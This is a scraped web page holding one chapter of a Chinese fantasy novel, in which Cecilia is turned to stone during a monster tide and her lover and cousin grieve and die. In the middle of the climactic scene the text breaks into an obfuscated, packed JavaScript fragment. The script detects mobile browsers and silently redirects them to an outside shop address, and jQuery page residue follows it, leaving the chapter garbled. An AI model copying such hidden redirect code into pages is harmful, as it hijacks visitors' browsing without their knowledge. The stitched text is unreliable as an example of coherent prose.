文趣网 > 其他小说 > 我见黎明 > 17. 埋在墓碑下(5)
    银泉镇的魔兽潮来得比红枫镇稍晚,但更为猛烈。

    奥伦站在庄园的塔楼上,望着银泉镇远处漫天硝烟与熊熊不熄的火光。

    魔兽潮来袭,所有人都忙着自保,守庄园,或是执行大长老奥德里克的命令——“保护家族核心成员,闲杂人等不用管。”

    而他找遍了庄园每一个角落,用剑一下接一下地砸开了后院阁楼最里侧房间的门锁,终于找到了失踪多天的塞西莉亚。

    塞西莉亚坐在床头,棕色的眼睛怔怔地望着将门砸开的人。

    他的剑浸满了血,身上的甲胄裂开了几道口子,左臂还被不知道什么东西咬了一口,皮肉翻开,血顺着手腕往下淌。

    “走。”奥伦站在门口。

    塞西莉亚眼眶一热,流下眼泪,走上前一把抱住奥伦。

    “我终于见到你了,奥伦。”

    奥伦将衣兜里的一枚护身符塞进她手里。那是一个很小的圆形银质挂件,上面刻着复杂的符咒纹路,是庇护魔咒。

    “拿好它,塞西莉亚,跟着乔治,他会带你去安全的地方。”

    塞西莉亚握着那枚护身符,冰冷的金属被她攥得发烫。

    “那你怎么办?”

    奥伦闻言伸出手,摸了摸塞西莉亚柔顺的发髻,发现不慎蹭了一丝血迹在她的发间,随即松开手。

    “我不会有事的,你先走。”他的声音有一种让人心稳定下来的魔力。

    “好,”塞西莉亚哽咽道,“你要保护好自己。”

    奥伦的下属乔治牵来两匹马,扶着塞西莉亚上了马,朝着镇南的方向走。

    塞西莉亚上了马,远远回头一望,只见奥伦站在阁楼的门口,周围建筑燃烧的火光映在他脸上,明暗不定。

    那是塞西莉亚最后一次见到奥伦。

    路上到处都是人,老人,小孩,还有抱孩子的妇女,拖家带口地往南跑。

    有人哭喊,有人奔逃,也有人摔倒,从此再也没爬起来。

    塞西莉亚勒住了马。

    “夫人?”乔治回头看她。

    塞西莉亚看到路边一个抱着孩子的妇人,她衣服上浸着大片的血,怀里抱着的婴儿还在哭,而她神色焦急,跟着前方行路的人踉踉跄跄。

    她手中那枚冰凉的护身符已经被体温捂热。

    她即刻翻身下马。

    “夫人!”乔治的声音急起来,“大人吩咐过,要把你送到安全的地方——”

    塞西莉亚没有听他说话,而是走到妇人面前,将护身符塞进她手里。

    妇人愣住了,低头看着手里那枚银质挂件,又抬头看着塞西莉亚。“这......是什么?”

    “护身符,拿好它,它会保护你的。”

    话落,塞西莉亚转身走到乔治跟前。

    “去保护该保护的人。”她说。

    乔治看着她,听明白了意思,他想说什么,但最后只叹了口气,重新翻身上马,朝着溃逃人群的方向驰去。

    塞西莉亚站在原地,看着乔治的背影逐渐消失在远处。

    她转身朝来时的方向走去。

    那边还有人没救出来,还有人在跑,在哭,在苦苦逃亡。

    她重新走进火光里。

    蕾拉赶到银泉镇的时候,天快亮了。

    她终于在镇口的一棵银荆树下找到了塞西莉亚。

    塞西莉亚身上伤口渗出的血,已经染红了胸前的衣襟,她嘴唇煞白,后背安静地靠在树干上,像睡着了的人偶,无声无息。

    “塞西莉亚。”

    蕾拉不敢相信亲眼所见。

    听到有人喊她的名字,塞西莉亚沉重的眼皮睁开了。

    见到蕾拉的那一瞬,恍如隔世。

    原来已经过去了这么久了。

    “蕾拉。”塞西莉亚抬起头,虚弱地露出了一个微笑,回应蕾拉的呼唤。

    “你来了啊。”

    蕾拉将塞西莉亚背了起来,背上的人很轻,一阵风都能吹走,手臂无力地环在蕾拉的脖子上,手指冰凉,指甲缝里还有泥土与干涸的血。

    “我带你回去。”蕾拉的声音打颤,“回红枫镇。”

    “你会没事的。”

    塞西莉亚把脸埋在蕾拉肩窝里。

    熟悉的气味,一如多年前的雨夜,蕾拉也是这样一步一步将她背回去的。

    她们走了很久,很远,但塞西莉亚知道,自己的时间已经撑不到回红枫镇了。

    “蕾拉。”

    声音很轻,像林间徐徐微风。

    “别说话,我们就快到了。”

    塞西莉亚没有听。

    “我的时间......不多了......咳咳。”

    “克劳利家族的大长老奥德里克......窃取了大陆魔法师在魔兽山脉布下的仪式法阵的力量。”

    “别说了。”

    “他取走了法阵的魔石,屠戮守护法阵的白鸟一族。”

    “魔兽山脉上,仪式法阵维持平衡的力量被抽走......山脉枯寂,气候巨变...咳咳。”

    “导致魔兽只能前往人类的栖息地寻找食物。”

    塞西莉亚的声音干涩而沙哑,禁言魔咒在她的喉咙里烧灼,反噬。

    她咽下了喉咙里的血,虚弱地道出最后一句。

    “这就是......这次魔兽潮的真相。”

    蕾拉突然感受到肩上的重量变了,但不是变轻,是变硬。

    她偏过头,余光猛然瞥见塞西莉亚惨白的手指在发灰。

    石头一样的灰,从指尖开始一点一滴往上蔓延,像水银灌进血管,无声无息,且势不可挡。

    “塞西莉亚!”

    蕾拉将背上的人放平在地,抱着她跪在地上,心底涌起前所未有的恐惧。

    塞西莉亚的眼睛微睁,棕色的瞳孔里还有最后一点光。

    “蕾拉。”

    她的声音更轻了,像飘落的雪花,转瞬即逝。

    她在缓慢变成石头。

    “我真想回到我们小时候,回到我们在红枫镇那片麦田里嬉戏打闹的时光。”她试图挤出一个微笑,但已经没有力气了。

    “你跑得没我快。”蕾拉的眼泪掉了下来。

    “但你每次都会等我。”

    最后一点光亮从那对棕色眼睛里消失了。

    石像塞西莉亚,静静地靠在远道而来的家人怀里。

    风从麦田的那一边吹过来,掠过山林田野,河流草地,最后轻拂过她的脸庞。

    曾经会笑会闹的人儿,变得悄无声息。

    蕾拉茫然地注视着石像。

    世界静止了。

    良久,她终于埋下脸,额头抵在冰凉的石像上,肩膀一抖一抖地抽气。

    人在绝望的时候,甚至发不出声。

    银泉镇外的小路。

    奥伦的身上掺着斑斑血迹与泥土,他的甲胄已碎,而左臂的伤口乌黑发紫,右手将握着的断剑插在土里支撑着歇息。

    “大人!”乔治翻身下马,冲过去扶他。

    奥伦推开他的手,站不稳,靠着路边的断树继续喘气。

    “塞西莉亚呢?”他的声音沙哑。

    乔治低下了头。

    “我问你她呢!”

    “夫人吩咐我去保护银泉镇的居民。”乔治慌张地低下头:“我......我也不知道她去哪里了。”

    奥伦闭上了眼睛。

    良久,他重新睁开眼睛,从怀里掏出一块拇指大小的暗灰色魔石——定位魔石。

    他握着魔石,石头在掌心微微发热,亮了一下。

    光很弱,是东边——红枫镇的方向。

    奥伦夺过乔治的佩剑,迈步朝东走。

    乔治追了上来:“大人,你的伤!”

    奥伦没有回头,他手臂的血顺着手指往下淌,一滴一滴,落在石子地上。

    周遭陆陆续续响起魔兽的嚎叫声,人们惊慌的呼救声。

    火光与黑暗将世界割裂成两半,视野中的灰与黑交织,眼前的路也变得模糊起来。

    唯有那个名字支撑着他走下去。

    “塞西莉亚。”

    不知走了多久,奥伦终于看到了远处交叠的人影。

    他认出那是塞西莉亚的堂姐蕾拉。

    这时,手里紧握的魔石突然熄灭了。

    蕾拉跪在地上,怀里抱着一座石像——他终于看清了石像的脸。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17907724|213060||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >化为石像的塞西莉亚,永远闭上了那双温和的棕色眼睛,她盘在头上的发髻散落在颈间,像一位睡美人。

    魔石从奥伦的掌心滑落,掉在泥土里,滚了一圈。

    “扑通。”

    奥伦的掌心覆盖在塞西莉亚的脸颊上,石像冰凉而没有一丝温度。

    他跪在石像面前,茫然地望着昔日爱人的遗体。

    “塞西莉亚。”

    他好像突然被什么东西一下子掏空了。

    最后,奥伦俯下身,额头抵着塞西莉亚冰冷的脸,印下一个冰凉的吻。

    他的身体慢慢歪下去,靠在石像旁边,像是长途跋涉的旅人终于找到了可以休息的地方。

    良久后,蕾拉伸手探了探他的鼻息。

    奥伦死了。

    再后来。

    蕾拉将塞西莉亚葬在了红枫镇后山的那片红枫林里,奥伦葬在她旁边。

    蕾拉回到了枫荫庄园,她望着熟悉的场景,却感受到自己的心永远空缺了一块,过往的风夹杂着回忆的碎片灌进来,一阵一阵,让她痛不欲生。

    她又来到红枫林,跪在塞西莉亚与奥伦墓地的石碑前,用手指在泥土上勾勒出法阵的轮廓。

    画完后,她闭上眼睛,精疲力尽,瘫倒在地。

    “塞西莉亚,我们很快会再见面。”蕾拉露出了解脱一般的笑容。

    两年后,蕾拉病逝。

    族人按照她的遗嘱,将其与塞西莉亚一同葬在红枫林中。

    最后几个回忆片段里,附身的爱丽丝终于脱离了蕾拉的身体,她游离在躯体之外,目睹这一系列生死离别的回忆。

    蕾拉逝去的时候,五颜六色的幻境世界开始坍塌,一点一滴褪成灰白,最终又沦为一片无色的虚无。

    她带着沉重与苍凉,在一切消逝、无法挽回的飘摇中,告别了这个既遗憾又释然的世界。

    一道刻在法阵上的灰白色残魂,悠悠转转,飘至爱丽丝跟前。

    “希望这些能帮到你。”蕾拉对爱丽丝露出了一个轻松的微笑。

    “再见。”

    将曾经的故事娓娓道来的人,终究离开了这个五彩斑斓的世界。

    灰蒙蒙的天际下。

    格林从墓碑前站起来,拂去膝盖沾上的雪和泥。

    她向外走了几步,咬破手指,血液顺着食指滴下,有序地洒落在覆有积雪山坡上。

    白中一点红,分外显眼。

    格林嘴唇微动,无声地念出咒语。红色的线条断断续续,延伸,拓宽,最终拼凑出一个花苞的图案。

    在图案完成那一刻,线条消散,取而代之的是金色法阵亮起,以格林脚下为起点,像花朵开始绽放,向外层层拓展。

    在金色魔力波动覆盖整座小山的那一刻,满山积雪开始消融,地上长出青草的细芽,细芽又慢慢长高,灌木冒出嫩叶,嫩叶又加深颜色,树干拓宽拉高,变得枝繁叶茂。

    积雪消融成溪水,顺着石岸而下,叮咚作响,滋润了藏在细缝中的青苔。

    一切景象变得生机盎然。

    一念之间,小山岗便从晚冬,切换成春天。

    灰白的石碑下,悄然长出了几丛野花,几只蝴蝶飞过,流连其间,又飘然而去。

    风都变温柔了。

    格林捡起了掉落在地的软毡帽,重新戴回头顶,望着不远处的石碑。

    往事没有挽回的余地,但她不想看到故人的坟前都如此冷寂。

    “再见。”

    ......

    爱丽丝终于睁开了眼睛。

    她从覆盖枫叶的厚土上支撑起身,站起来,抬头望去。

    暮色中,原本伫立石像的地方已悄然被三块墓碑所取代,三座石碑安静地立在红枫林中央,守候着这一片无人打扰之地。

    那炽热的真心,那隐秘的苦难,那浇灭的热情,那消逝的生命。

    那一无所知的人,那肝肠寸断的人,那苦苦煎熬的人,那一无所获的人。

    那未曾宣之于口的爱恋,那未曾完好留住的情意,那未曾知晓的故事与挣扎。

    日夜轮转,时序颠倒,而世界永恒不朽。

    一切的一切。

    终埋在墓碑下。